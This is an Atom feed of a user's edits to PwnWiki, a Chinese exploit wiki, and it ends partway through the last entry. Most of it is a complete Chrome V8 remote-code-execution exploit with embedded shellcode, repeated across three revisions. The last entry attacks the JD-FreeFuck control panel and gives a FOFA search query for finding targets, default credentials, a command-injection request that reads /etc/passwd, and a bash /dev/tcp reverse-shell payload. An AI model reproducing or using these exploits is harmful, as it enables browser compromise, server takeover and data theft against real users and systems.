<?xml version="1.0"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="chinese">
	<id>https://pwnwiki.com/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Esonhugh</id>
	<title>PwnWiki - User contributions [Chinese]</title>
	<link rel="self" type="application/atom+xml" href="https://pwnwiki.com/api.php?action=feedcontributions&amp;feedformat=atom&amp;user=Esonhugh"/>
	<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Special:Contributions/Esonhugh"/>
	<updated>2026-04-05T19:14:05Z</updated>
	<subtitle>User contributions</subtitle>
	<generator>MediaWiki 1.35.1</generator>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Windows_Chrome_0day%E6%BC%8F%E6%B4%9E&amp;diff=1639</id>
		<title>Windows Chrome 0day漏洞</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Windows_Chrome_0day%E6%BC%8F%E6%B4%9E&amp;diff=1639"/>
		<updated>2021-04-14T03:26:20Z</updated>

		<summary type="html">&lt;p&gt;Esonhugh: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;languages  /&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==前提條件== &amp;lt;!--T:1--&amp;gt;&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
&amp;lt;!--T:2--&amp;gt;&lt;br /&gt;
v8 javascript 解释器&lt;br /&gt;
仅支持 Windows x64 Chrome&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
===exploit.html===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script src=&amp;quot;exploit.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===exploit.js===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])&lt;br /&gt;
var wasm_mod = new WebAssembly.Module(wasm_code);&lt;br /&gt;
var wasm_instance = new WebAssembly.Instance(wasm_mod);&lt;br /&gt;
var f = wasm_instance.exports.main;&lt;br /&gt;
&lt;br /&gt;
var buf = new ArrayBuffer(8);&lt;br /&gt;
var f64_buf = new Float64Array(buf);&lt;br /&gt;
var u64_buf = new Uint32Array(buf);&lt;br /&gt;
let buf2 = new ArrayBuffer(0x150);&lt;br /&gt;
&lt;br /&gt;
function ftoi(val) {&lt;br /&gt;
    f64_buf[0] = val;&lt;br /&gt;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) &amp;lt;&amp;lt; 32n);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function itof(val) {&lt;br /&gt;
    u64_buf[0] = Number(val &amp;amp; 0xffffffffn);&lt;br /&gt;
    u64_buf[1] = Number(val &amp;gt;&amp;gt; 32n);&lt;br /&gt;
    return f64_buf[0];&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
const _arr = new Uint32Array([2**31]);&lt;br /&gt;
&lt;br /&gt;
function foo(a) {&lt;br /&gt;
    var x = 1;&lt;br /&gt;
	x = (_arr[0] ^ 0) + 1;&lt;br /&gt;
&lt;br /&gt;
	x = Math.abs(x);&lt;br /&gt;
	x -= 2147483647;&lt;br /&gt;
	x = Math.max(x, 0);&lt;br /&gt;
&lt;br /&gt;
	x -= 1;&lt;br /&gt;
	if(x==-1) x = 0;&lt;br /&gt;
&lt;br /&gt;
	var arr = new Array(x);&lt;br /&gt;
	arr.shift();&lt;br /&gt;
	var cor = [1.1, 1.2, 1.3];&lt;br /&gt;
&lt;br /&gt;
	return [arr, cor];&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
for(var i=0;i&amp;lt;0x3000;++i)&lt;br /&gt;
    foo(true);&lt;br /&gt;
&lt;br /&gt;
var x = foo(false);&lt;br /&gt;
var arr = x[0];&lt;br /&gt;
var cor = x[1];&lt;br /&gt;
&lt;br /&gt;
const idx = 6;&lt;br /&gt;
arr[idx+10] = 0x4242;&lt;br /&gt;
&lt;br /&gt;
function addrof(k) {&lt;br /&gt;
    arr[idx+1] = k;&lt;br /&gt;
    return ftoi(cor[0]) &amp;amp; 0xffffffffn;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function fakeobj(k) {&lt;br /&gt;
    cor[0] = itof(k);&lt;br /&gt;
    return arr[idx+1];&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var float_array_map = ftoi(cor[3]);&lt;br /&gt;
&lt;br /&gt;
var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];&lt;br /&gt;
var fake = fakeobj(addrof(arr2) + 0x20n);&lt;br /&gt;
&lt;br /&gt;
function arbread(addr) {&lt;br /&gt;
    if (addr % 2n == 0) {&lt;br /&gt;
        addr += 1n;&lt;br /&gt;
    }&lt;br /&gt;
    arr2[1] = itof((2n &amp;lt;&amp;lt; 32n) + addr - 8n);&lt;br /&gt;
    return (fake[0]);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function arbwrite(addr, val) {&lt;br /&gt;
    if (addr % 2n == 0) {&lt;br /&gt;
        addr += 1n;&lt;br /&gt;
    }&lt;br /&gt;
    arr2[1] = itof((2n &amp;lt;&amp;lt; 32n) + addr - 8n);&lt;br /&gt;
    fake[0] = itof(BigInt(val));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function copy_shellcode(addr, shellcode) {&lt;br /&gt;
    let dataview = new DataView(buf2);&lt;br /&gt;
    let buf_addr = addrof(buf2);&lt;br /&gt;
    let backing_store_addr = buf_addr + 0x14n;&lt;br /&gt;
    arbwrite(backing_store_addr, addr);&lt;br /&gt;
&lt;br /&gt;
    for (let i = 0; i &amp;lt; shellcode.length; i++) {&lt;br /&gt;
        dataview.setUint32(4*i, shellcode[i], true);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));&lt;br /&gt;
console.log(&amp;quot;[+] Address of rwx page: &amp;quot; + rwx_page_addr.toString(16));&lt;br /&gt;
var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];&lt;br /&gt;
copy_shellcode(rwx_page_addr, shellcode);&lt;br /&gt;
f();&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==警告== &amp;lt;!--T:3--&amp;gt;&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
&amp;lt;!--T:4--&amp;gt;&lt;br /&gt;
使用该漏洞需要 chrome 无沙箱环境，否则会提示 &amp;lt;code&amp;gt;status_access_violation&amp;lt;/code&amp;gt;或者内存崩溃&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--T:5--&amp;gt;&lt;br /&gt;
關閉沙箱可以彈出計算器&lt;br /&gt;
如果无 可以尝试刷新界面&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==版本==&lt;br /&gt;
Chrome &amp;lt;=89.0.4389.114&lt;br /&gt;
== 引用链接 ==&lt;br /&gt;
https://github.com/r4j0x00/exploits/tree/master/chrome-0day&lt;/div&gt;</summary>
		<author><name>Esonhugh</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Talk:Windows_Chrome_0day%E6%BC%8F%E6%B4%9E&amp;diff=1638</id>
		<title>Talk:Windows Chrome 0day漏洞</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Talk:Windows_Chrome_0day%E6%BC%8F%E6%B4%9E&amp;diff=1638"/>
		<updated>2021-04-14T03:23:29Z</updated>

		<summary type="html">&lt;p&gt;Esonhugh: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;strong&amp;gt;编辑人： Esonhugh 留言 &amp;lt;/strong&amp;gt;&lt;br /&gt;
&amp;lt;p&amp;gt;这里有点问题 关于文本的标题 不是很恰当 请改成 chrome v8 JavaScript 解释器 BOF RCE 漏洞&amp;lt;/p&amp;gt;&lt;/div&gt;</summary>
		<author><name>Esonhugh</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Talk:Windows_Chrome_0day%E6%BC%8F%E6%B4%9E&amp;diff=1637</id>
		<title>Talk:Windows Chrome 0day漏洞</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Talk:Windows_Chrome_0day%E6%BC%8F%E6%B4%9E&amp;diff=1637"/>
		<updated>2021-04-14T03:22:12Z</updated>

		<summary type="html">&lt;p&gt;Esonhugh: Created page with &amp;quot;&amp;lt;p&amp;gt;这里有点问题 关于文本的标题 不是很恰当 请改成 chrome v8 JavaScript 解释器 BOF RCE 漏洞&amp;lt;p&amp;gt;&amp;quot;&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;p&amp;gt;这里有点问题 关于文本的标题 不是很恰当 请改成 chrome v8 JavaScript 解释器 BOF RCE 漏洞&amp;lt;p&amp;gt;&lt;/div&gt;</summary>
		<author><name>Esonhugh</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Windows_Chrome_0day%E6%BC%8F%E6%B4%9E&amp;diff=1636</id>
		<title>Windows Chrome 0day漏洞</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Windows_Chrome_0day%E6%BC%8F%E6%B4%9E&amp;diff=1636"/>
		<updated>2021-04-14T03:20:13Z</updated>

		<summary type="html">&lt;p&gt;Esonhugh: 警告描述&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;languages  /&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==前提條件== &amp;lt;!--T:1--&amp;gt;&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
&amp;lt;!--T:2--&amp;gt;&lt;br /&gt;
僅支持Windows Chrome&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
==EXP==&lt;br /&gt;
===exploit.html===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script src=&amp;quot;exploit.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===exploit.js===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])&lt;br /&gt;
var wasm_mod = new WebAssembly.Module(wasm_code);&lt;br /&gt;
var wasm_instance = new WebAssembly.Instance(wasm_mod);&lt;br /&gt;
var f = wasm_instance.exports.main;&lt;br /&gt;
&lt;br /&gt;
var buf = new ArrayBuffer(8);&lt;br /&gt;
var f64_buf = new Float64Array(buf);&lt;br /&gt;
var u64_buf = new Uint32Array(buf);&lt;br /&gt;
let buf2 = new ArrayBuffer(0x150);&lt;br /&gt;
&lt;br /&gt;
function ftoi(val) {&lt;br /&gt;
    f64_buf[0] = val;&lt;br /&gt;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) &amp;lt;&amp;lt; 32n);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function itof(val) {&lt;br /&gt;
    u64_buf[0] = Number(val &amp;amp; 0xffffffffn);&lt;br /&gt;
    u64_buf[1] = Number(val &amp;gt;&amp;gt; 32n);&lt;br /&gt;
    return f64_buf[0];&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
const _arr = new Uint32Array([2**31]);&lt;br /&gt;
&lt;br /&gt;
function foo(a) {&lt;br /&gt;
    var x = 1;&lt;br /&gt;
	x = (_arr[0] ^ 0) + 1;&lt;br /&gt;
&lt;br /&gt;
	x = Math.abs(x);&lt;br /&gt;
	x -= 2147483647;&lt;br /&gt;
	x = Math.max(x, 0);&lt;br /&gt;
&lt;br /&gt;
	x -= 1;&lt;br /&gt;
	if(x==-1) x = 0;&lt;br /&gt;
&lt;br /&gt;
	var arr = new Array(x);&lt;br /&gt;
	arr.shift();&lt;br /&gt;
	var cor = [1.1, 1.2, 1.3];&lt;br /&gt;
&lt;br /&gt;
	return [arr, cor];&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
for(var i=0;i&amp;lt;0x3000;++i)&lt;br /&gt;
    foo(true);&lt;br /&gt;
&lt;br /&gt;
var x = foo(false);&lt;br /&gt;
var arr = x[0];&lt;br /&gt;
var cor = x[1];&lt;br /&gt;
&lt;br /&gt;
const idx = 6;&lt;br /&gt;
arr[idx+10] = 0x4242;&lt;br /&gt;
&lt;br /&gt;
function addrof(k) {&lt;br /&gt;
    arr[idx+1] = k;&lt;br /&gt;
    return ftoi(cor[0]) &amp;amp; 0xffffffffn;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function fakeobj(k) {&lt;br /&gt;
    cor[0] = itof(k);&lt;br /&gt;
    return arr[idx+1];&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var float_array_map = ftoi(cor[3]);&lt;br /&gt;
&lt;br /&gt;
var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];&lt;br /&gt;
var fake = fakeobj(addrof(arr2) + 0x20n);&lt;br /&gt;
&lt;br /&gt;
function arbread(addr) {&lt;br /&gt;
    if (addr % 2n == 0) {&lt;br /&gt;
        addr += 1n;&lt;br /&gt;
    }&lt;br /&gt;
    arr2[1] = itof((2n &amp;lt;&amp;lt; 32n) + addr - 8n);&lt;br /&gt;
    return (fake[0]);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function arbwrite(addr, val) {&lt;br /&gt;
    if (addr % 2n == 0) {&lt;br /&gt;
        addr += 1n;&lt;br /&gt;
    }&lt;br /&gt;
    arr2[1] = itof((2n &amp;lt;&amp;lt; 32n) + addr - 8n);&lt;br /&gt;
    fake[0] = itof(BigInt(val));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function copy_shellcode(addr, shellcode) {&lt;br /&gt;
    let dataview = new DataView(buf2);&lt;br /&gt;
    let buf_addr = addrof(buf2);&lt;br /&gt;
    let backing_store_addr = buf_addr + 0x14n;&lt;br /&gt;
    arbwrite(backing_store_addr, addr);&lt;br /&gt;
&lt;br /&gt;
    for (let i = 0; i &amp;lt; shellcode.length; i++) {&lt;br /&gt;
        dataview.setUint32(4*i, shellcode[i], true);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));&lt;br /&gt;
console.log(&amp;quot;[+] Address of rwx page: &amp;quot; + rwx_page_addr.toString(16));&lt;br /&gt;
var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];&lt;br /&gt;
copy_shellcode(rwx_page_addr, shellcode);&lt;br /&gt;
f();&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==警告== &amp;lt;!--T:3--&amp;gt;&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
&amp;lt;!--T:4--&amp;gt;&lt;br /&gt;
使用该漏洞需要 chrome 无沙箱环境，否则会提示 &amp;lt;code&amp;gt;status_access_violation&amp;lt;/code&amp;gt;或者内存崩溃&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--T:5--&amp;gt;&lt;br /&gt;
關閉沙箱可以彈出計算器&lt;br /&gt;
如果无 可以尝试刷新界面&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==版本==&lt;br /&gt;
Chrome &amp;lt;=89.0.4389.114&lt;br /&gt;
== 引用链接 ==&lt;br /&gt;
https://github.com/r4j0x00/exploits/tree/master/chrome-0day&lt;/div&gt;</summary>
		<author><name>Esonhugh</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=Windows_Chrome_0day%E6%BC%8F%E6%B4%9E&amp;diff=1635</id>
		<title>Windows Chrome 0day漏洞</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=Windows_Chrome_0day%E6%BC%8F%E6%B4%9E&amp;diff=1635"/>
		<updated>2021-04-14T03:17:44Z</updated>

		<summary type="html">&lt;p&gt;Esonhugh: 修复中文界面的缺陷&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;languages  /&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==前提條件== &amp;lt;!--T:1--&amp;gt;&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
&amp;lt;!--T:2--&amp;gt;&lt;br /&gt;
僅支持Windows Chrome&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
==EXP==&lt;br /&gt;
===exploit.html===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;script src=&amp;quot;exploit.js&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
===exploit.js===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
var wasm_code = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])&lt;br /&gt;
var wasm_mod = new WebAssembly.Module(wasm_code);&lt;br /&gt;
var wasm_instance = new WebAssembly.Instance(wasm_mod);&lt;br /&gt;
var f = wasm_instance.exports.main;&lt;br /&gt;
&lt;br /&gt;
var buf = new ArrayBuffer(8);&lt;br /&gt;
var f64_buf = new Float64Array(buf);&lt;br /&gt;
var u64_buf = new Uint32Array(buf);&lt;br /&gt;
let buf2 = new ArrayBuffer(0x150);&lt;br /&gt;
&lt;br /&gt;
function ftoi(val) {&lt;br /&gt;
    f64_buf[0] = val;&lt;br /&gt;
    return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) &amp;lt;&amp;lt; 32n);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function itof(val) {&lt;br /&gt;
    u64_buf[0] = Number(val &amp;amp; 0xffffffffn);&lt;br /&gt;
    u64_buf[1] = Number(val &amp;gt;&amp;gt; 32n);&lt;br /&gt;
    return f64_buf[0];&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
const _arr = new Uint32Array([2**31]);&lt;br /&gt;
&lt;br /&gt;
function foo(a) {&lt;br /&gt;
    var x = 1;&lt;br /&gt;
	x = (_arr[0] ^ 0) + 1;&lt;br /&gt;
&lt;br /&gt;
	x = Math.abs(x);&lt;br /&gt;
	x -= 2147483647;&lt;br /&gt;
	x = Math.max(x, 0);&lt;br /&gt;
&lt;br /&gt;
	x -= 1;&lt;br /&gt;
	if(x==-1) x = 0;&lt;br /&gt;
&lt;br /&gt;
	var arr = new Array(x);&lt;br /&gt;
	arr.shift();&lt;br /&gt;
	var cor = [1.1, 1.2, 1.3];&lt;br /&gt;
&lt;br /&gt;
	return [arr, cor];&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
for(var i=0;i&amp;lt;0x3000;++i)&lt;br /&gt;
    foo(true);&lt;br /&gt;
&lt;br /&gt;
var x = foo(false);&lt;br /&gt;
var arr = x[0];&lt;br /&gt;
var cor = x[1];&lt;br /&gt;
&lt;br /&gt;
const idx = 6;&lt;br /&gt;
arr[idx+10] = 0x4242;&lt;br /&gt;
&lt;br /&gt;
function addrof(k) {&lt;br /&gt;
    arr[idx+1] = k;&lt;br /&gt;
    return ftoi(cor[0]) &amp;amp; 0xffffffffn;&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function fakeobj(k) {&lt;br /&gt;
    cor[0] = itof(k);&lt;br /&gt;
    return arr[idx+1];&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var float_array_map = ftoi(cor[3]);&lt;br /&gt;
&lt;br /&gt;
var arr2 = [itof(float_array_map), 1.2, 2.3, 3.4];&lt;br /&gt;
var fake = fakeobj(addrof(arr2) + 0x20n);&lt;br /&gt;
&lt;br /&gt;
function arbread(addr) {&lt;br /&gt;
    if (addr % 2n == 0) {&lt;br /&gt;
        addr += 1n;&lt;br /&gt;
    }&lt;br /&gt;
    arr2[1] = itof((2n &amp;lt;&amp;lt; 32n) + addr - 8n);&lt;br /&gt;
    return (fake[0]);&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function arbwrite(addr, val) {&lt;br /&gt;
    if (addr % 2n == 0) {&lt;br /&gt;
        addr += 1n;&lt;br /&gt;
    }&lt;br /&gt;
    arr2[1] = itof((2n &amp;lt;&amp;lt; 32n) + addr - 8n);&lt;br /&gt;
    fake[0] = itof(BigInt(val));&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
function copy_shellcode(addr, shellcode) {&lt;br /&gt;
    let dataview = new DataView(buf2);&lt;br /&gt;
    let buf_addr = addrof(buf2);&lt;br /&gt;
    let backing_store_addr = buf_addr + 0x14n;&lt;br /&gt;
    arbwrite(backing_store_addr, addr);&lt;br /&gt;
&lt;br /&gt;
    for (let i = 0; i &amp;lt; shellcode.length; i++) {&lt;br /&gt;
        dataview.setUint32(4*i, shellcode[i], true);&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&lt;br /&gt;
var rwx_page_addr = ftoi(arbread(addrof(wasm_instance) + 0x68n));&lt;br /&gt;
console.log(&amp;quot;[+] Address of rwx page: &amp;quot; + rwx_page_addr.toString(16));&lt;br /&gt;
var shellcode = [3833809148,12642544,1363214336,1364348993,3526445142,1384859749,1384859744,1384859672,1921730592,3071232080,827148874,3224455369,2086747308,1092627458,1091422657,3991060737,1213284690,2334151307,21511234,2290125776,1207959552,1735704709,1355809096,1142442123,1226850443,1457770497,1103757128,1216885899,827184641,3224455369,3384885676,3238084877,4051034168,608961356,3510191368,1146673269,1227112587,1097256961,1145572491,1226588299,2336346113,21530628,1096303056,1515806296,1497454657,2202556993,1379999980,1096343807,2336774745,4283951378,1214119935,442,0,2374846464,257,2335291969,3590293359,2729832635,2797224278,4288527765,3296938197,2080783400,3774578698,1203438965,1785688595,2302761216,1674969050,778267745,6649957];&lt;br /&gt;
copy_shellcode(rwx_page_addr, shellcode);&lt;br /&gt;
f();&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==警告== &amp;lt;!--T:3--&amp;gt;&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
&amp;lt;!--T:4--&amp;gt;&lt;br /&gt;
使用該漏洞需要關閉沙箱環境，如果不關閉沙箱會提示&amp;lt;code&amp;gt;status_access_violation&amp;lt;/code&amp;gt;或者內存錯誤&lt;br /&gt;
&lt;br /&gt;
&amp;lt;!--T:5--&amp;gt;&lt;br /&gt;
關閉沙箱可以彈出計算器&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
==版本==&lt;br /&gt;
Chrome &amp;lt;=89.0.4389.114&lt;br /&gt;
&lt;br /&gt;
== 引用链接 ==&lt;br /&gt;
https://github.com/r4j0x00/exploits/tree/master/chrome-0day&lt;/div&gt;</summary>
		<author><name>Esonhugh</name></author>
	</entry>
	<entry>
		<id>https://pwnwiki.com/index.php?title=JD-FreeFuck_%E5%BE%8C%E5%8F%B0%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=902</id>
		<title>JD-FreeFuck 後台命令執行漏洞</title>
		<link rel="alternate" type="text/html" href="https://pwnwiki.com/index.php?title=JD-FreeFuck_%E5%BE%8C%E5%8F%B0%E5%91%BD%E4%BB%A4%E5%9F%B7%E8%A1%8C%E6%BC%8F%E6%B4%9E&amp;diff=902"/>
		<updated>2021-04-02T12:13:25Z</updated>

		<summary type="html">&lt;p&gt;Esonhugh: 增加一处 exp poc&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&amp;lt;languages  /&amp;gt;&lt;br /&gt;
==FOFA==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
title=&amp;quot;京东薅羊毛控制面板&amp;quot;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==默認帳號密碼== &amp;lt;!--T:1--&amp;gt;&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
useradmin/supermanito&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
==漏洞利用== &amp;lt;!--T:2--&amp;gt;&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
&amp;lt;!--T:3--&amp;gt;&lt;br /&gt;
發送如下請求包執行命令：&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /runCmd HTTP/1.1&lt;br /&gt;
Host: XXX.XXX.XXX.XXX:5678&lt;br /&gt;
Content-Length: 50&lt;br /&gt;
Pragma: no-cache&lt;br /&gt;
Cache-Control: no-cache&lt;br /&gt;
Accept: */*&lt;br /&gt;
X-Requested-With: XMLHttpRequest&lt;br /&gt;
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36&lt;br /&gt;
Content-Type: application/x-www-form-urlencoded; charset=UTF-8&lt;br /&gt;
Accept-Encoding: gzip, deflate&lt;br /&gt;
Accept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7,zh-TW;q=0.6&lt;br /&gt;
Cookie: connect.0.6356777726800276=s%3Av1W6DxlSqnPpVgvMCItxElFeKI1Psh4i.eE4ORs0Yz30N0TOg1pUVpOqrpIHyrqIimuXJVO8lE7U&lt;br /&gt;
Connection: close&lt;br /&gt;
&lt;br /&gt;
cmd=bash+jd.sh+%3Bcat /etc/passwd%3B+now&amp;amp;delay=500&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;translate&amp;gt;&lt;br /&gt;
&amp;lt;!--T:4--&amp;gt;&lt;br /&gt;
其中 cmd 參數存在命令注入。&lt;br /&gt;
&amp;lt;/translate&amp;gt;&lt;br /&gt;
==Getshell==&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
cmd=bash+jd.sh+%3Bbash+-c+'exec+bash+-i+%26%3E%2Fdev%2Ftcp%2Fxxx.xxx.xxx.xxx%2F9999+%3C%261'%3B+now&amp;amp;delay=500&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==EXP==&lt;br /&gt;
&lt;br /&gt;
====Usage:====&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
python3 exploit.py -u http://xx.xx.xx.xx:5678 -c &amp;quot;command&amp;quot;&lt;br /&gt;
&lt;br /&gt;
